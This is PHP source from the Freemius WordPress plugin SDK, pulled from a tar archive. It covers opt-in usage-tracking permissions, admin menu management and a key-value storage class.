$this->_fs->get_module_label( true ) ), 25, true, true, $load_default_from_storage ); } #endregion #-------------------------------------------------------------------------------- #region Common Permissions #-------------------------------------------------------------------------------- /** * @param bool $is_license_activation * @param bool $include_optional_label * @param bool $load_default_from_storage * * @return array */ function get_extensions_permission( $is_license_activation, $include_optional_label = false, $load_default_from_storage = false ) { $is_on_by_default = ! $is_license_activation; return $this->get_permission( self::PERMISSION_EXTENSIONS, 'block-default', $this->_fs->get_text_inline( 'View Plugins & Themes List', 'permissions-extensions' ) . ( $is_license_activation ? ( $include_optional_label ? ' (' . $this->_fs->get_text_inline( 'optional' ) . ')' : '' ) : '' ), $this->_fs->get_text_inline( 'Names, slugs, versions, and if active or not', 'permissions-extensions_desc' ), $this->_fs->get_text_inline( 'To ensure compatibility and avoid conflicts with your installed plugins and themes.', 'permissions-events_tooltip' ), 25, true, $is_on_by_default, $load_default_from_storage ); } /** * @param bool $load_default_from_storage * * @return array */ function get_user_permission( $load_default_from_storage = false ) { return $this->get_permission( self::PERMISSION_USER, 'admin-users', $this->_fs->get_text_inline( 'View Basic Profile Info', 'permissions-profile' ), $this->_fs->get_text_inline( 'Your WordPress user\'s: first & last name, and email address', 'permissions-profile_desc' ), $this->_fs->get_text_inline( 'Never miss important updates, get security warnings before they become public knowledge, and receive notifications about special offers and awesome new features.', 'permissions-profile_tooltip' ), 5, false, true, $load_default_from_storage ); } #endregion #-------------------------------------------------------------------------------- #region Optional Permissions #-------------------------------------------------------------------------------- /** * @return array[] */ function get_newsletter_permission() { return $this->get_permission( self::PERMISSION_NEWSLETTER, 'email-alt', $this->_fs->get_text_inline( 'Newsletter', 'permissions-newsletter' ), $this->_fs->get_text_inline( 'Updates, announcements, marketing, no spam', 'permissions-newsletter_desc' ), '', 15 ); } #endregion #-------------------------------------------------------------------------------- #region Permissions Storage #-------------------------------------------------------------------------------- /** * @param int|null $blog_id * * @return bool */ function is_extensions_tracking_allowed( $blog_id = null ) { return $this->is_permission_allowed( self::PERMISSION_EXTENSIONS, ! $this->_fs->is_premium(), $blog_id ); } /** * @param int|null $blog_id * * @return bool */ function is_essentials_tracking_allowed( $blog_id = null ) { return $this->is_permission_allowed( self::PERMISSION_ESSENTIALS, true, $blog_id ); } /** * @param bool $default * * @return bool */ function is_diagnostic_tracking_allowed( $default = true ) { return $this->is_premium_context() ? $this->is_permission_allowed( self::PERMISSION_DIAGNOSTIC, $default ) : $this->is_permission_allowed( self::PERMISSION_SITE, $default ); } /** * @param int|null $blog_id * * @return bool */ function is_homepage_url_tracking_allowed( $blog_id = null ) { return $this->is_permission_allowed( $this->get_site_permission_name(), true, $blog_id ); } /** * @param int|null $blog_id * * @return bool */ function update_site_tracking( $is_enabled, $blog_id = null, $only_if_not_set = false ) { $permissions = $this->get_site_tracking_permission_names(); $result = true; foreach ( $permissions as $permission ) { if ( ! $only_if_not_set || ! $this->is_permission_set( $permission, $blog_id ) ) { $result = ( $result && $this->update_permission_tracking_flag( $permission, $is_enabled, $blog_id ) ); } } return $result; } /** * @param string $permission * @param bool $default * @param int|null $blog_id * * @return bool */ function is_permission_allowed( $permission, $default = false, $blog_id = null ) { if ( ! self::is_supported_permission( $permission ) ) { return $default; } return $this->is_permission( $permission, true, $blog_id ); } /** * @param string $permission * @param bool $is_allowed * @param int|null $blog_id * * @return bool */ function is_permission( $permission, $is_allowed, $blog_id = null ) { if ( ! self::is_supported_permission( $permission ) ) { return false; } $tag = "is_{$permission}_tracking_allowed"; return ( $is_allowed === $this->_fs->apply_filters( $tag, $this->_storage->get( $tag, $this->get_permission_default( $permission ), $blog_id, FS_Storage::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED ) ) ); } /** * @param string $permission * @param int|null $blog_id * * @return bool */ function is_permission_set( $permission, $blog_id = null ) { $tag = "is_{$permission}_tracking_allowed"; $permission = $this->_storage->get( $tag, null, $blog_id, FS_Storage::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED ); return is_bool( $permission ); } /** * @param string[] $permissions * @param bool $is_allowed * * @return bool `true` if all given permissions are in sync with `$is_allowed`. */ function are_permissions( $permissions, $is_allowed, $blog_id = null ) { foreach ( $permissions as $permission ) { if ( ! $this->is_permission( $permission, $is_allowed, $blog_id ) ) { return false; } } return true; } /** * @param string $permission * @param bool $is_enabled * @param int|null $blog_id * * @return bool `false` if permission not supported or `$is_enabled` is not a boolean. */ function update_permission_tracking_flag( $permission, $is_enabled, $blog_id = null ) { if ( is_bool( $is_enabled ) && self::is_supported_permission( $permission ) ) { $this->_storage->store( "is_{$permission}_tracking_allowed", $is_enabled, $blog_id, FS_Storage::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED ); return true; } return false; } /** * @param array $permissions */ function update_permissions_tracking_flag( $permissions ) { foreach ( $permissions as $permission => $is_enabled ) { $this->update_permission_tracking_flag( $permission, $is_enabled ); } } #endregion /** * @param string $permission * * @return bool */ function get_permission_default( $permission ) { if ( $this->_fs->is_premium() && self::PERMISSION_EXTENSIONS === $permission ) { return false; } // All permissions except for the extensions in paid version are on by default when the user opts in to usage tracking. return true; } /** * @return string */ function get_site_permission_name() { return $this->is_premium_context() ? self::PERMISSION_ESSENTIALS : self::PERMISSION_SITE; } /** * @return string[] */ function get_site_tracking_permission_names() { return $this->is_premium_context() ? array( FS_Permission_Manager::PERMISSION_ESSENTIALS, FS_Permission_Manager::PERMISSION_EVENTS, ) : array( FS_Permission_Manager::PERMISSION_SITE ); } #-------------------------------------------------------------------------------- #region Rendering #-------------------------------------------------------------------------------- /** * @param array $permission */ function render_permission( array $permission ) { fs_require_template( 'connect/permission.php', $permission ); } /** * @param array $permissions_group */ function render_permissions_group( array $permissions_group ) { $permissions_group[ 'fs' ] = $this->_fs; fs_require_template( 'connect/permissions-group.php', $permissions_group ); } function require_permissions_js() { fs_require_once_template( 'js/permissions.php', $params ); } #endregion #-------------------------------------------------------------------------------- #region Helper Methods #-------------------------------------------------------------------------------- /** * @param string $id * @param string $dashicon * @param string $label * @param string $desc * @param string $tooltip * @param int $priority * @param bool $is_optional * @param bool $is_on_by_default * @param bool $load_from_storage * * @return array */ private function get_permission( $id, $dashicon, $label, $desc, $tooltip = '', $priority = 10, $is_optional = false, $is_on_by_default = true, $load_from_storage = false ) { $is_on = $load_from_storage ? $this->is_permission_allowed( $id, $is_on_by_default ) : $is_on_by_default; return array( 'id' => $id, 'icon-class' => $this->_fs->apply_filters( "permission_{$id}_icon", "dashicons dashicons-{$dashicon}" ), 'label' => $this->_fs->apply_filters( "permission_{$id}_label", $label ), 'tooltip' => $this->_fs->apply_filters( "permission_{$id}_tooltip", $tooltip ), 'desc' => $this->_fs->apply_filters( "permission_{$id}_desc", $desc ), 'priority' => $this->_fs->apply_filters( "permission_{$id}_priority", $priority ), 'optional' => $is_optional, 'default' => $this->_fs->apply_filters( "permission_{$id}_default", $is_on ), ); } /** * @param array $permissions * * @return array[] */ private function get_sorted_permissions_by_priority( array $permissions ) { // Allow filtering of the permissions list. $permissions = $this->_fs->apply_filters( 'permission_list', $permissions ); // Sort by priority. uasort( $permissions, 'fs_sort_by_priority' ); return $permissions; } #endregion }vendor/freemius/includes/managers/class-fs-admin-menu-manager.php000064400000063232147600365160021165 0ustar00 */ private $_default_submenu_items; /** * @since 1.1.3 * * @var string */ private $_first_time_path; /** * @since 1.2.2 * * @var bool */ private $_menu_exists; /** * @since 2.0.0 * * @var bool */ private $_network_menu_exists; #endregion Properties /** * @var FS_Logger */ protected $_logger; #region Singleton /** * @var FS_Admin_Menu_Manager[] */ private static $_instances = array(); /** * @param number $module_id * @param string $module_type * @param string $module_unique_affix * * @return FS_Admin_Menu_Manager */ static function instance( $module_id, $module_type, $module_unique_affix ) { $key = 'm_' . $module_id; if ( ! isset( self::$_instances[ $key ] ) ) { self::$_instances[ $key ] = new FS_Admin_Menu_Manager( $module_id, $module_type, $module_unique_affix ); } return self::$_instances[ $key ]; } protected function __construct( $module_id, $module_type, $module_unique_affix ) { $this->_logger = FS_Logger::get_logger( WP_FS__SLUG . '_' . $module_id . '_admin_menu', WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK ); $this->_module_id = $module_id; $this->_module_type = $module_type; $this->_module_unique_affix = $module_unique_affix; } #endregion Singleton #region Helpers private function get_option( &$options, $key, $default = false ) { return ! empty( $options[ $key ] ) ? $options[ $key ] : $default; } private function get_bool_option( &$options, $key, $default = false ) { return isset( $options[ $key ] ) && is_bool( $options[ $key ] ) ? $options[ $key ] : $default; } #endregion Helpers /** * @param array $menu * @param bool $is_addon */ function init( $menu, $is_addon = false ) { $this->_menu_exists = ( isset( $menu['slug'] ) && ! empty( $menu['slug'] ) ); $this->_network_menu_exists = ( ! empty( $menu['network'] ) && true === $menu['network'] ); $this->_menu_slug = ( $this->_menu_exists ? $menu['slug'] : $this->_module_unique_affix ); $this->_default_submenu_items = array(); // @deprecated $this->_type = 'page'; $this->_is_top_level = true; $this->_is_override_exact = false; $this->_parent_slug = false; // @deprecated $this->_parent_type = 'page'; if ( isset( $menu ) ) { if ( ! $is_addon ) { $this->_default_submenu_items = array( 'contact' => $this->get_bool_option( $menu, 'contact', true ), 'support' => $this->get_bool_option( $menu, 'support', true ), 'affiliation' => $this->get_bool_option( $menu, 'affiliation', true ), 'account' => $this->get_bool_option( $menu, 'account', true ), 'pricing' => $this->get_bool_option( $menu, 'pricing', true ), 'addons' => $this->get_bool_option( $menu, 'addons', true ), ); // @deprecated $this->_type = $this->get_option( $menu, 'type', 'page' ); } $this->_is_override_exact = $this->get_bool_option( $menu, 'override_exact' ); if ( isset( $menu['parent'] ) ) { $this->_parent_slug = $this->get_option( $menu['parent'], 'slug' ); // @deprecated $this->_parent_type = $this->get_option( $menu['parent'], 'type', 'page' ); // If parent's slug is different, then it's NOT a top level menu item. $this->_is_top_level = ( $this->_parent_slug === $this->_menu_slug ); } else { /** * If no parent then top level if: * - Has custom admin menu ('page') * - CPT menu type ('cpt') */ // $this->_is_top_level = in_array( $this->_type, array( // 'cpt', // 'page' // ) ); } $first_path = $this->get_option( $menu, 'first-path', false ); if ( ! empty( $first_path ) && is_string( $first_path ) ) { $this->_first_time_path = $first_path; } } } /** * Check if top level menu. * * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @return bool False if submenu item. */ function is_top_level() { return $this->_is_top_level; } /** * Check if the page should be override on exact URL match. * * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @return bool False if submenu item. */ function is_override_exact() { return $this->_is_override_exact; } /** * Get the path of the page the user should be forwarded to after first activation. * * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @param bool $is_network Since 2.4.5 * * @return string */ function get_first_time_path( $is_network = false ) { if ( empty ( $this->_first_time_path ) ) { return $this->_first_time_path; } if ( $is_network ) { return network_admin_url( $this->_first_time_path ); } else { return admin_url( $this->_first_time_path ); } } /** * Check if plugin's menu item is part of a custom top level menu. * * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @return bool */ function has_custom_parent() { return ! $this->_is_top_level && is_string( $this->_parent_slug ); } /** * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @return bool */ function has_menu() { return $this->_menu_exists; } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return bool */ function has_network_menu() { return $this->_network_menu_exists; } /** * @author Leo Fajardo (@leorw) * * @param string $menu_slug * * @since 2.1.3 */ function set_slug_and_network_menu_exists_flag($menu_slug ) { $this->_menu_slug = $menu_slug; $this->_network_menu_exists = false; } /** * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @param string $id * @param bool $default * @param bool $ignore_menu_existence Since 1.2.2.7 If true, check if the submenu item visible even if there's no parent menu. * * @return bool */ function is_submenu_item_visible( $id, $default = true, $ignore_menu_existence = false ) { if ( ! $ignore_menu_existence && ! $this->has_menu() ) { return false; } return fs_apply_filter( $this->_module_unique_affix, 'is_submenu_visible', $this->get_bool_option( $this->_default_submenu_items, $id, $default ), $id ); } /** * Calculates admin settings menu slug. * If plugin's menu slug is a file (e.g. CPT), uses plugin's slug as the menu slug. * * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @param string $page * * @return string */ function get_slug( $page = '' ) { return ( ( false === strpos( $this->_menu_slug, '.php?' ) ) ? $this->_menu_slug : $this->_module_unique_affix ) . ( empty( $page ) ? '' : ( '-' . $page ) ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @return string */ function get_parent_slug() { return $this->_parent_slug; } /** * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @return string */ function get_type() { return $this->_type; } /** * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @return bool */ function is_cpt() { return ( 0 === strpos( $this->_menu_slug, 'edit.php?post_type=' ) || // Back compatibility. 'cpt' === $this->_type ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @return string */ function get_parent_type() { return $this->_parent_type; } /** * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @return string */ function get_raw_slug() { return $this->_menu_slug; } /** * Get plugin's original menu slug. * * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @return string */ function get_original_menu_slug() { if ( 'cpt' === $this->_type ) { return add_query_arg( array( 'post_type' => $this->_menu_slug ), 'edit.php' ); } if ( false === strpos( $this->_menu_slug, '.php?' ) ) { return $this->_menu_slug; } else { return $this->_module_unique_affix; } } /** * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @return string */ function get_top_level_menu_slug() { return $this->has_custom_parent() ? $this->get_parent_slug() : $this->get_raw_slug(); } /** * Is user on plugin's admin activation page. * * @author Vova Feldman (@svovaf) * @since 1.0.8 * * @param bool $show_opt_in_on_themes_page Since 2.3.1 * * @return bool * * @deprecated Please use is_activation_page() instead. */ function is_main_settings_page( $show_opt_in_on_themes_page = false ) { return $this->is_activation_page( $show_opt_in_on_themes_page ); } /** * Is user on product's admin activation page. * * @author Vova Feldman (@svovaf) * @since 2.3.1 * * @param bool $show_opt_in_on_themes_page Since 2.3.1 * * @return bool */ function is_activation_page( $show_opt_in_on_themes_page = false ) { if ( $show_opt_in_on_themes_page ) { /** * In activation only when show_optin query string param is given. * * @since 1.2.2 */ return ( ( WP_FS__MODULE_TYPE_THEME === $this->_module_type ) && Freemius::is_themes_page() && fs_request_get_bool( $this->_module_unique_affix . '_show_optin' ) ); } if ( $this->_menu_exists && ( fs_is_plugin_page( $this->_menu_slug ) || fs_is_plugin_page( $this->_module_unique_affix ) ) ) { /** * Module has a settings menu and the context page is the main settings page, so assume it's in * activation (doesn't really check if already opted-in/skipped or not). * * @since 1.2.2 */ return true; } return false; } #region Submenu Override /** * Override submenu's action. * * @author Vova Feldman (@svovaf) * @since 1.1.0 * * @param string $parent_slug * @param string $menu_slug * @param callable $function * * @return false|string If submenu exist, will return the hook name. */ function override_submenu_action( $parent_slug, $menu_slug, $function ) { global $submenu; $menu_slug = plugin_basename( $menu_slug ); $parent_slug = plugin_basename( $parent_slug ); if ( ! isset( $submenu[ $parent_slug ] ) ) { // Parent menu not exist. return false; } $found_submenu_item = false; foreach ( $submenu[ $parent_slug ] as $submenu_item ) { if ( $menu_slug === $submenu_item[2] ) { $found_submenu_item = $submenu_item; break; } } if ( false === $found_submenu_item ) { // Submenu item not found. return false; } // Remove current function. $hookname = get_plugin_page_hookname( $menu_slug, $parent_slug ); remove_all_actions( $hookname ); // Attach new action. add_action( $hookname, $function ); return $hookname; } #endregion Submenu Override #region Top level menu Override /** * Find plugin's admin dashboard main menu item. * * @author Vova Feldman (@svovaf) * @since 1.0.2 * * @return string[]|false */ private function find_top_level_menu() { global $menu; $position = - 1; $found_menu = false; $menu_slug = $this->get_raw_slug(); $hook_name = get_plugin_page_hookname( $menu_slug, '' ); foreach ( $menu as $pos => $m ) { if ( $menu_slug === $m[2] ) { $position = $pos; $found_menu = $m; break; } } if ( false === $found_menu ) { return false; } return array( 'menu' => $found_menu, 'position' => $position, 'hook_name' => $hook_name ); } /** * Find plugin's admin dashboard main submenu item. * * @author Vova Feldman (@svovaf) * @since 1.2.1.6 * * @return array|false */ private function find_main_submenu() { global $submenu; $top_level_menu_slug = $this->get_top_level_menu_slug(); if ( ! isset( $submenu[ $top_level_menu_slug ] ) ) { return false; } $submenu_slug = $this->get_raw_slug(); $position = - 1; $found_submenu = false; $hook_name = get_plugin_page_hookname( $submenu_slug, '' ); foreach ( $submenu[ $top_level_menu_slug ] as $pos => $sub ) { if ( $submenu_slug === $sub[2] ) { $position = $pos; $found_submenu = $sub; } } if ( false === $found_submenu ) { return false; } return array( 'menu' => $found_submenu, 'parent_slug' => $top_level_menu_slug, 'position' => $position, 'hook_name' => $hook_name ); } /** * Remove all sub-menu items. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @return bool If submenu with plugin's menu slug was found. */ private function remove_all_submenu_items() { global $submenu; $menu_slug = $this->get_raw_slug(); if ( ! isset( $submenu[ $menu_slug ] ) ) { return false; } /** * This method is NOT executed for WordPress.org themes. * Since we maintain only one version of the SDK we added this small * hack to avoid the error from Theme Check since it's a false-positive. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 */ $submenu_ref = &$submenu; $submenu_ref[ $menu_slug ] = array(); return true; } /** * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param bool $remove_top_level_menu * * @return false|array[string]mixed */ function remove_menu_item( $remove_top_level_menu = false ) { $this->_logger->entrance(); // Find main menu item. $top_level_menu = $this->find_top_level_menu(); if ( false === $top_level_menu ) { return false; } // Remove it with its actions. remove_all_actions( $top_level_menu['hook_name'] ); // Remove all submenu items. $this->remove_all_submenu_items(); if ( $remove_top_level_menu ) { global $menu; unset( $menu[ $top_level_menu['position'] ] ); } return $top_level_menu; } /** * Get module's main admin setting page URL. * * @todo This method was only tested for wp.org compliant themes with a submenu item. Need to test for plugins with top level, submenu, and CPT top level, menu items. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return string */ function main_menu_url() { $this->_logger->entrance(); if ( $this->_is_top_level ) { $menu = $this->find_top_level_menu(); } else { $menu = $this->find_main_submenu(); } $parent_slug = isset( $menu['parent_slug'] ) ? $menu['parent_slug'] : 'admin.php'; return admin_url( $parent_slug . ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) . 'page=' . $menu['menu'][2] ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.4 * * @param callable $function * * @return false|array[string]mixed */ function override_menu_item( $function ) { $found_menu = $this->remove_menu_item(); if ( false === $found_menu ) { return false; } if ( ! $this->is_top_level() || ! $this->is_cpt() ) { $menu_slug = plugin_basename( $this->get_slug() ); $hookname = get_plugin_page_hookname( $menu_slug, '' ); // Override menu action. add_action( $hookname, $function ); } else { global $menu; // Remove original CPT menu. unset( $menu[ $found_menu['position'] ] ); // Create new top-level menu action. $hookname = self::add_page( $found_menu['menu'][3], $found_menu['menu'][0], 'manage_options', $this->get_slug(), $function, $found_menu['menu'][6], $found_menu['position'] ); } return $hookname; } /** * Adds a counter to the module's top level menu item. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @param int $counter * @param string $class */ function add_counter_to_menu_item( $counter = 1, $class = '' ) { global $menu, $submenu; $mask = '%s '; /** * This method is NOT executed for WordPress.org themes. * Since we maintain only one version of the SDK we added this small * hack to avoid the error from Theme Check since it's a false-positive. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 */ $menu_ref = &$menu; $submenu_ref = &$submenu; if ( $this->_is_top_level ) { // Find main menu item. $found_menu = $this->find_top_level_menu(); if ( false !== $found_menu ) { // Override menu label. $menu_ref[ $found_menu['position'] ][0] = sprintf( $mask, $found_menu['menu'][0], $class, $counter ); } } else { $found_submenu = $this->find_main_submenu(); if ( false !== $found_submenu ) { // Override menu label. $submenu_ref[ $found_submenu['parent_slug'] ][ $found_submenu['position'] ][0] = sprintf( $mask, $found_submenu['menu'][0], $class, $counter ); } } } #endregion Top level menu Override /** * Add a top-level menu page. * * Note for WordPress.org Theme/Plugin reviewer: * * This is a replication of `add_menu_page()` to avoid Theme Check warning. * * Why? * ==== * Freemius is an SDK for plugin and theme developers. Since the core * of the SDK is relevant both for plugins and themes, for obvious reasons, * we only develop and maintain one code base. * * This method will not run for wp.org themes (only plugins) since theme * admin settings/options are now only allowed in the customizer. * * If you have any questions or need clarifications, please don't hesitate * pinging me on slack, my username is @svovaf. * * @author Vova Feldman (@svovaf) * @since 1.2.2 * * @param string $page_title The text to be displayed in the title tags of the page when the menu is * selected. * @param string $menu_title The text to be used for the menu. * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu). * @param callable|string $function The function to be called to output the content for this page. * @param string $icon_url The URL to the icon to be used for this menu. * * Pass a base64-encoded SVG using a data URI, which will be colored to * match the color scheme. This should begin with * 'data:image/svg+xml;base64,'. * * Pass the name of a Dashicons helper class to use a font icon, * e.g. 'dashicons-chart-pie'. * * Pass 'none' to leave div.wp-menu-image empty so an icon can be added * via CSS. * @param int $position The position in the menu order this one should appear. * * @return string The resulting page's hook_suffix. */ static function add_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $icon_url = '', $position = null ) { $fn = 'add_menu' . '_page'; return $fn( $page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $position ); } /** * Add page and update menu instance settings. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $page_title * @param string $menu_title * @param string $capability * @param string $menu_slug * @param callable|string $function * @param string $icon_url * @param int|null $position * * @return string */ function add_page_and_update( $page_title, $menu_title, $capability, $menu_slug, $function = '', $icon_url = '', $position = null ) { $this->_menu_slug = $menu_slug; $this->_is_top_level = true; $this->_menu_exists = true; $this->_network_menu_exists = true; return self::add_page( $page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $position ); } /** * Add a submenu page. * * Note for WordPress.org Theme/Plugin reviewer: * * This is a replication of `add_submenu_page()` to avoid Theme Check warning. * * Why? * ==== * Freemius is an SDK for plugin and theme developers. Since the core * of the SDK is relevant both for plugins and themes, for obvious reasons, * we only develop and maintain one code base. * * This method will not run for wp.org themes (only plugins) since theme * admin settings/options are now only allowed in the customizer. * * If you have any questions or need clarifications, please don't hesitate * pinging me on slack, my username is @svovaf. * * @author Vova Feldman (@svovaf) * @since 1.2.2 * * @param string $parent_slug The slug name for the parent menu (or the file name of a standard * WordPress admin page). * @param string $page_title The text to be displayed in the title tags of the page when the menu is * selected. * @param string $menu_title The text to be used for the menu. * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu). * @param callable|string $function The function to be called to output the content for this page. * * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability * required. */ static function add_subpage( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $function = '' ) { $fn = 'add_submenu' . '_page'; return $fn( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $function ); } /** * Add sub page and update menu instance settings. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $parent_slug * @param string $page_title * @param string $menu_title * @param string $capability * @param string $menu_slug * @param callable|string $function * * @return string */ function add_subpage_and_update( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $function = '' ) { $this->_menu_slug = $menu_slug; $this->_parent_slug = $parent_slug; $this->_is_top_level = false; $this->_menu_exists = true; $this->_network_menu_exists = true; return self::add_subpage( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $function ); } }vendor/freemius/includes/managers/class-fs-key-value-storage.php000064400000024374147600365160021073 0ustar00 0 ) { $key .= ":{$network_level_or_blog_id}"; } else { $network_level_or_blog_id = get_current_blog_id(); $key .= ":{$network_level_or_blog_id}"; } } if ( ! isset( self::$_instances[ $key ] ) ) { self::$_instances[ $key ] = new FS_Key_Value_Storage( $id, $secondary_id, $network_level_or_blog_id ); } return self::$_instances[ $key ]; } protected function __construct( $id, $secondary_id, $network_level_or_blog_id = false ) { $this->_logger = FS_Logger::get_logger( WP_FS__SLUG . '_' . $secondary_id . '_' . $id, WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK ); $this->_id = $id; $this->_secondary_id = $secondary_id; if ( is_multisite() ) { $this->_is_multisite_storage = ( true === $network_level_or_blog_id ); if ( is_numeric( $network_level_or_blog_id ) ) { $this->_blog_id = $network_level_or_blog_id; } } else { $this->_is_multisite_storage = false; } $this->load(); } protected function get_option_manager() { return FS_Option_Manager::get_manager( WP_FS__ACCOUNTS_OPTION_NAME, true, $this->_is_multisite_storage ? true : ( $this->_blog_id > 0 ? $this->_blog_id : false ) ); } protected function get_all_data() { return $this->get_option_manager()->get_option( $this->_id, array() ); } /** * Load plugin data from local DB. * * @author Vova Feldman (@svovaf) * @since 1.0.7 */ function load() { $all_plugins_data = $this->get_all_data(); $this->_data = isset( $all_plugins_data[ $this->_secondary_id ] ) ? $all_plugins_data[ $this->_secondary_id ] : array(); } /** * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @param string $key * @param mixed $value * @param bool $flush */ function store( $key, $value, $flush = true ) { if ( $this->_logger->is_on() ) { $this->_logger->entrance( $key . ' = ' . var_export( $value, true ) ); } if ( array_key_exists( $key, $this->_data ) && $value === $this->_data[ $key ] ) { // No need to store data if the value wasn't changed. return; } $all_data = $this->get_all_data(); $this->_data[ $key ] = $value; $all_data[ $this->_secondary_id ] = $this->_data; $options_manager = $this->get_option_manager(); $options_manager->set_option( $this->_id, $all_data, $flush ); } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 */ function save() { $this->get_option_manager()->store(); } /** * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @param bool $store * @param string[] $exceptions Set of keys to keep and not clear. */ function clear_all( $store = true, $exceptions = array() ) { $new_data = array(); foreach ( $exceptions as $key ) { if ( isset( $this->_data[ $key ] ) ) { $new_data[ $key ] = $this->_data[ $key ]; } } $this->_data = $new_data; if ( $store ) { $all_data = $this->get_all_data(); $all_data[ $this->_secondary_id ] = $this->_data; $options_manager = $this->get_option_manager(); $options_manager->set_option( $this->_id, $all_data, true ); } } /** * Delete key-value storage. * * @author Vova Feldman (@svovaf) * @since 1.0.9 */ function delete() { $this->_data = array(); $all_data = $this->get_all_data(); unset( $all_data[ $this->_secondary_id ] ); $options_manager = $this->get_option_manager(); $options_manager->set_option( $this->_id, $all_data, true ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @param string $key * @param bool $store */ function remove( $key, $store = true ) { if ( ! array_key_exists( $key, $this->_data ) ) { return; } unset( $this->_data[ $key ] ); if ( $store ) { $all_data = $this->get_all_data(); $all_data[ $this->_secondary_id ] = $this->_data; $options_manager = $this->get_option_manager(); $options_manager->set_option( $this->_id, $all_data, true ); } } /** * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @param string $key * @param mixed $default * * @return bool|\FS_Plugin */ function get( $key, $default = false ) { return array_key_exists( $key, $this->_data ) ? $this->_data[ $key ] : $default; } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return string */ function get_secondary_id() { return $this->_secondary_id; } /* ArrayAccess + Magic Access (better for refactoring) -----------------------------------------------------------------------------------*/ function __set( $k, $v ) { $this->store( $k, $v ); } function __isset( $k ) { return array_key_exists( $k, $this->_data ); } function __unset( $k ) { $this->remove( $k ); } function __get( $k ) { return $this->get( $k, null ); } #[ReturnTypeWillChange] function offsetSet( $k, $v ) { if ( is_null( $k ) ) { throw new Exception( 'Can\'t append value to request params.' ); } else { $this->{$k} = $v; } } #[ReturnTypeWillChange] function offsetExists( $k ) { return array_key_exists( $k, $this->_data ); } #[ReturnTypeWillChange] function offsetUnset( $k ) { unset( $this->$k ); } #[ReturnTypeWillChange] function offsetGet( $k ) { return $this->get( $k, null ); } /** * (PHP 5 >= 5.0.0)
                  * Return the current element * * @link http://php.net/manual/en/iterator.current.php * @return mixed Can return any type. */ #[ReturnTypeWillChange] public function current() { return current( $this->_data ); } /** * (PHP 5 >= 5.0.0)
                  * Move forward to next element * * @link http://php.net/manual/en/iterator.next.php * @return void Any returned value is ignored. */ #[ReturnTypeWillChange] public function next() { next( $this->_data ); } /** * (PHP 5 >= 5.0.0)
                  * Return the key of the current element * * @link http://php.net/manual/en/iterator.key.php * @return mixed scalar on success, or null on failure. */ #[ReturnTypeWillChange] public function key() { return key( $this->_data ); } /** * (PHP 5 >= 5.0.0)
                  * Checks if current position is valid * * @link http://php.net/manual/en/iterator.valid.php * @return boolean The return value will be casted to boolean and then evaluated. * Returns true on success or false on failure. */ #[ReturnTypeWillChange] public function valid() { $key = key( $this->_data ); return ( $key !== null && $key !== false ); } /** * (PHP 5 >= 5.0.0)
                  * Rewind the Iterator to the first element * * @link http://php.net/manual/en/iterator.rewind.php * @return void Any returned value is ignored. */ #[ReturnTypeWillChange] public function rewind() { reset( $this->_data ); } /** * (PHP 5 >= 5.1.0)
                  * Count elements of an object * * @link http://php.net/manual/en/countable.count.php * @return int The custom count as an integer. *

                  *

